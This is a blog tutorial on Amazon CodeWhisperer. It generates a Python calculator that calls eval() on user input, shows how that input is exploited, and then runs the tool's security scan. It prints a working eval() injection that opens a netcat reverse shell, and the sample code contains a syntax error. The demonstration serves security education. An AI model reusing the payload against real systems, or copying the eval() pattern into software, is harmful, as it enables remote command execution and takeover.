Search icon CANCEL
Subscription
0
Cart icon
Your Cart (0 item)
Close icon
You have no products in your basket yet
Save more on your purchases now! discount-offer-chevron-icon
Savings automatically calculated. No voucher code required.
Arrow left icon
Explore Products
Best Sellers
New Releases
Books
Videos
Audiobooks
Learning Hub
Conferences
Free Learning
Arrow right icon

Writing Secure Code with Amazon CodeWhisperer

Save for later
  • 12 min read
  • 10 Nov 2023

article-image

Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!

Introduction

Have you ever used an AI coding assistant like Amazon CodeWhisperer? If not, you'll be surprised at how these AI-powered tools can significantly accelerate the coding process. In the past, developers had to rely solely on their expertise and experience to build applications. At the moment, we're seeing the next generation of developers leverage AI to not only speed up the coding process but also to ensure that their applications meet the highest standards of security and reliability.

In this blog post, we will dive deep into how we can use CodeWhisperer to (1) speed up the coding process and (2) detect vulnerabilities and issues in our code. We’ll have the following sections in this post:

  •  Part 01 — Technical Requirements
  • Part 02 — Avoiding conflicts or issues with existing installed extensions
  • Part 03 — Using Amazon CodeWhisperer to accelerate Python coding work
  • Part 04 — Realizing and proving that our code is vulnerable
  • Part 05 — Detecting security vulnerabilities with Amazon CodeWhisperer

Without further ado, let’s begin!

Part 01 — Technical Requirements

You need to have Amazon CodeWhisperer installed and configured with VS Code on our local machine. Note that we will be using CodeWhisperer Professional for a single user.  Make sure to check the pricing page (https://aws.amazon.com/codewhisperer/pricing/) especially if this is your first time using CodeWhisperer.

 Before installing and setting up the CodeWhisperer extension in VS Code, you need to:

(1) Enable IAM Identity Center and create an AWS organization

(2) Create an IAM organization user

(3) Set up CodeWhisperer for a single user, and

(4) Set up the AWS Toolkit for VS Code (https://aws.amazon.com/visualstudiocode/).

Make sure that the CodeWhisperer extension is installed and set up completely before proceeding. We’ll skip the steps for setting up and configuring VS Code so that we can focus more on how to use the different features and capabilities of Amazon CodeWhisperer.

Note: Feel free to check the following link for more information on how to set up CodeWhisperer: https://docs.aws.amazon.com/codewhisperer/latest/userguide/whisper-setup-prof-devs.html.

Part 02 — Avoiding conflicts or issues with existing installed extensions

To ensure that other installed extensions won’t conflict with the AWS Toolkit, we have the option to disable all installed extensions similar to what is shown in the following image:

writing-secure-code-with-amazon-codewhisperer-img-0
                                                                          Image 01 — Disabling All Installed Extensions

Once all installed extensions have been disabled, we need to make sure that the AWS Toolkit is enabled by locating the said extension under the list of installed extensions and then clicking the Enable button (as highlighted in the following image):

 writing-secure-code-with-amazon-codewhisperer-img-1

                                                                     Image 02 — Enabling the AWS Toolkit extension

The AWS Toolkit may require you to connect and authenticate again. For more information on how to manage extensions in VS Code, feel free to check the following link: https://code.visualstudio.com/docs/editor/extension-marketplace

Part 03 — Using Amazon CodeWhisperer to accelerate Python coding work

STEP # 01:  Let’s start by creating a new file in VS Code. Name it whisper.py (or any other filename)

writing-secure-code-with-amazon-codewhisperer-img-2

                                                                                                              Image 03 — Creating a new file

 

STEP # 02: Type the following single-line comment in the first line

 # Create a calculator function that accepts a string expression using input() and uses eval() to evaluate the expression

STEP # 03: Next, press the ENTER key

You should see a recommended line of code after a few seconds. In case the recommendation disappears (or does not appear at all), feel free to press OPTION + C (if you’re on Mac) or ALT + C (if you’re on Windows or Linux)  to trigger the recommendation:

 writing-secure-code-with-amazon-codewhisperer-img-3

                                                            Image 04 — CodeWhisperer suggesting a single line of code

STEP # 04: Press TAB to accept the code suggestion

writing-secure-code-with-amazon-codewhisperer-img-4

                                                                                       Image 05 — Accepting the code suggestion by pressing TAB

STEP # 05: Press ENTER to go to the next line. You should see a code recommendation after a few seconds. In case the recommendation disappears (or does not appear at all), feel free to press OPTION + C (if you’re on Mac) or ALT + C (if you’re on Windows or Linux)  to trigger the recommendation:

 writing-secure-code-with-amazon-codewhisperer-img-5

                                                                  Image 06 — CodeWhisperer suggesting a block of code

STEP # 06: Press TAB to accept the code suggestion

writing-secure-code-with-amazon-codewhisperer-img-6

Image 07 — Accepting the code suggestion by pressing TAB

STEP # 07: Press ENTER twice and then backspace.

STEP # 08: Type if and you should see a recommendation similar to what we have in the following image:.

writing-secure-code-with-amazon-codewhisperer-img-7

Image 08 — CodeWhisperer suggesting a line of code

STEP # 09: Press ESC to ignore the recommendation.

STEP # 10: Press OPTION + C (if you’re on Mac) or ALT + C (if you’re on Windows or Linux)  to trigger another recommendation

writing-secure-code-with-amazon-codewhisperer-img-8

Image 09 — CodeWhisperer suggesting a block of code

STEP # 11: Press TAB to accept the code suggestion

Unlock access to the largest independent learning library in Tech for FREE!
Get unlimited access to 7500+ expert-authored eBooks and video courses covering every tech area you can think of.
Renews at ₹800/month. Cancel anytime
writing-secure-code-with-amazon-codewhisperer-img-9

Image 10 — Accepting the code suggestion by pressing TAB

Note that you might get a different set of recommendations when using CodeWhisperer. In cases where there are multiple recommendations, you can use the left (←) and right (→) arrow keys to select from the list of available recommendations.

In case you are planning to try the hands-on examples yourself, here is a copy of the code generated in the previous set of steps:

# Create a calculator function that accepts a string expression using input() and uses eval() to evaluate the expression
def calculator():
    expression = input("Enter an expression: ")
    result = eval(expression)
    print(result)
    return result

if __name__ = "__main__":
    calculator()
    # ...

STEP # 12: Open a New Terminal (inside VS Code):

writing-secure-code-with-amazon-codewhisperer-img-10

Image 11 — Opening a new Terminal inside VS Code

STEP # 13: Assuming that we are able to run Python scripts locally (that is, with our local machine properly configured), we should be able to run our script by running the following (or a similar command depending on how your local machine is set up):

python3 whisper.py
writing-secure-code-with-amazon-codewhisperer-img-11

Image 12 — Running the code locally

If you entered the expression 1 + 1 and got a result of 2, then our application is working just fine!

Part 04 — Realizing and proving that our code is vulnerable

In order to write secure code, it’s essential that we have a good idea of how our code could be attacked and exploited. Note that we are running the examples in this section on a Mac. In case you’re unable to run some of the commands in your local machine, that should be alright as we are just demonstrating in this section why the seemingly harmless eval() function should be avoided whenever possible.

STEP # 01:  Let’s run the whisper.py script again and specify print('hello') when asked to input an expression.

print('hello')

This should print hello similar to what we have in the following image:

writing-secure-code-with-amazon-codewhisperer-img-12

Image 13 — Demonstrating why using eval() is dangerous

Looks like we can take advantage of this vulnerability and run any valid Python statement! Once a similar set of lines is used in a backend Web API implementation, an attacker might be able to inject commands as part of the request which could be processed by the eval() statement. This in turn could allow attackers to inject commands that would connect the target system and the attacker machine with something like a reverse shell.

STEP # 02: Let’s run whisper.py again and specify the following statement when asked to input an expression:

__import__('os').system('echo hello')#

This should run the bash command and print hello similar to what we have in the following image:

writing-secure-code-with-amazon-codewhisperer-img-13

Image 14 — Another example to demonstrate why using eval() is dangerous

STEP # 03: Let’s take things a step further! Let’s open the Terminal app and let’s use netcat to listen on port 14344 by running the following command:

nc -nvl 14344
writing-secure-code-with-amazon-codewhisperer-img-14

Image 15 — Using netcat to listen on port 14344

Note that we are running the command inside the Terminal app (not the terminal window inside VS Code).

STEP # 04: Navigate back to the VS Code window and run whisper.py again. This time, let’s enter the following malicious input when asked to enter an expression:

__import__('os').system('mkfifo /tmp/ABC; cat /tmp/ABC | /bin/sh -i 2>&1 | nc localhost 14344 > /tmp/ABC')#

This would cause the application to wait until the reverse shell is closed on the other side (that is, from the terminal window we opened in the previous step)

writing-secure-code-with-amazon-codewhisperer-img-15

Image 16 — Entering a malicious input to start a reverse shell

Note that in order to get this to work, /tmp/ABC must not exist yet before the command runs. Feel free to delete /tmp/ABC in case you need to retry this experiment.

STEP # 05: Back in our separate terminal window, we should be able to access a shell similar to what we have in the following image:

writing-secure-code-with-amazon-codewhisperer-img-16

Image 17 — Reverse shell

From here, an attacker could potentially run commands that would help them steal the data stored in the compromised machine or use the compromised machine to attack other resources. Since this is just a demonstration, simply run exit to close the shell. It is important to note that in our simplified example, we used the same system for the attacker and victim machines.

writing-secure-code-with-amazon-codewhisperer-img-17

Image 18 — How attackers could connect the target machine to the attacker machine

Of course, in real-life scenarios and penetration testing activities, the attacker machine would be a separate/external machine. This means that the malicious input needs to be modified with the external attacker's IP address (and not localhost).

Important Note: It is unethical and illegal to attack resources owned by another user or company. These concepts and techniques were shared to help you understand the risks involved when using vulnerable functions such as eval().

Part 05 — Detecting security vulnerabilities with Amazon CodeWhisperer

Do you think most developers would even know that the exploit we performed in the previous section is even possible? Probably not! One of the ways to help developers write more secure code (that is, without having to learn how to attack and exploit their own code) is by having a tool that automatically detects vulnerabilities in the code being written. The good news is that CodeWhisperer gives us the ability to run security scans with a single push of a button! We’ll show you how to do this in the next set of steps:

STEP # 01: Click the AWS icon highlighted in the following image:

writing-secure-code-with-amazon-codewhisperer-img-18

Image 19 — Running a security scan using Amazon CodeWhisperer

You should find CodeWhisperer under Developer Tools similar to what we have in Image X. Under CodeWhisperer, you should find several options such as Pause Auto-Suggestions, Run Security Scan, Select Customization, Open Code Reference Log, and Learn.

STEP # 02: Click the Run Security Scan option. This will run a security scan that will flag several vulnerabilities and issues similar to what we have in the following image:

writing-secure-code-with-amazon-codewhisperer-img-19

Image 20 — Results of the security scan

The security scan may take about a minute to complete. It is important for you to be aware that while this type of security scan will not detect all the vulnerabilities and issues in your code, adding this step during the coding process would definitely prevent a lot of security issues and vulnerabilities.

Note that we won’t discuss in this post how to fix the current code. In case you’re wondering what the next steps are, all you need to do is perform the needed modifications and then run the security scan again. Of course, there would be a bit of trial and error involved as resolving the vulnerabilities may not be as straightforward as it looks.

Conclusion

In this post, we were able to showcase the different features and capabilities of Amazon CodeWhisperer. If you are interested to learn more about how various AI tools can accelerate the coding process, feel free to check Chapter 9 of my 3rd book “Building and Automating Penetration Testing Labs in the Cloud”. You’ll learn how to use AI solutions such as ChatGPT, GitHub Copilot, GitHub Copilot Labs, Amazon CodeWhisperer, and Tabnine Pro to significantly accelerate the coding process.

Author Bio

Joshua Arvin Lat is the Chief Technology Officer (CTO) of NuWorks Interactive Labs, Inc. He previously served as the CTO of 3 Australian-owned companies and also served as the Director for Software Development and Engineering for multiple e-commerce startups in the past. Years ago, he and his team won 1st place in a global cybersecurity competition with their published research paper. He is also an AWS Machine Learning Hero and he has been sharing his knowledge in several international conferences to discuss practical strategies on machine learning, engineering, security, and management. He is also the author of the books "Machine Learning with Amazon SageMaker Cookbook", "Machine Learning Engineering on AWS", and "Building and Automating Penetration Testing Labs in the Cloud". Due to his proven track record in leading digital transformation within organizations, he has been recognized as one of the prestigious Orange Boomerang: Digital Leader of the Year 2023 award winners.